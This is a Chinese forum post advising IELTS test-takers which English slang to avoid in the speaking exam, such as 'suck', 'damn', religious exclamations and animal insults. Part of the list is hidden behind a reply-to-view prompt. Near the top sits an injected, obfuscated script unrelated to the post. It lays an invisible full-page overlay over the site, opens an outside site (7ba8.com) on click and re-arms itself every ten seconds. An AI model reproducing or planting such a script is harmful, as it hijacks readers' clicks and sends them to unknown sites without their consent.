你知道吗?那些在雅思口语考试中绝对不能说的话

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script> 本帖最后由 winni的爱 于 2012-3-6 15:41 编辑
有些短语你心爱的美剧人物说起来可能特别帅,但是很可惜,这些耍帅的话你不能说,尤其不能在口语考试里说。
理由很简单:如果你是一个汉语考试的考官,一个美国人来考汉语考试,脱口而出一个”草泥马”,你会作何感想?
你会觉得,他的中文特别好,还是觉得,他特别冒犯人,觉得他盗用了中国的“特色文化“?
反之亦然。你用英语中的俚语俗语时,外国考官也会有同样的感受。
记住,每门语言中的脏话,是这门语言中最地道的部分。是只有本国人才能使用的“国粹“。外国人如果贸然使用,会被本国人认为成对自己文化的一种侵略。
所以,下面这些美剧中你耳熟能详的短语,口语考试中,绝对不能使用:
1. Suck。Suck中规中矩的解释是“吮吸“。但是日常生活中,suck常常表达的意思是”糟透了“”逊毙了“”太菜了“”烂到家了“,是一个很粗鲁的词。曾经有个考生在雅思考试中被问”Tell me something about your hometown“,此考生回答曰:It sucks. 考官一口水差点没喷出来。说自己的家乡suck,无异于侮辱自己的出生地,是很雷人的。。。
2. Damn。如果英文中有一个词可以完美对应中文的“他妈的“,那就是damn。言情剧中男主角装酷的时候总喜欢说:I don’t give a damn。翻成中文就是我他妈的屁都不放一个。这句话是电影《乱世佳人》中男主角的经典台词,曾经被美国某杂志评选为“史上100句最经典台词”的冠军,曾经被无数电影抄袭过,但是,尽管有这么多的荣誉,它他妈的还是一句脏话……这种话是不能对考官说的。。。。
3. Holy系列,Jesus系列,God系列。不要随便调戏别人的神。你一个不信耶稣的人,在那里乱喊“看在耶稣的份上“,考官会想,我们的耶稣他妈的关你什么事了。。。
游客,如果您要查看本帖隐藏内容请回复

9. Get over yourself也不撒泡尿自己照照
10. Give me a break你饶了我吧
11. screw up ”搞砸了“的恶心版本
12. sick病态
13. freak变态
14. 把人比成动物的短语,一般都是侮辱性的:lucky dog(走了狗屎运的人), old bat(老巫婆), dirty rat(内鬼,老鼠)
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Copyright © 2020-2021 tigtag.com |网站地图  
快速回复 返回列表 返回顶部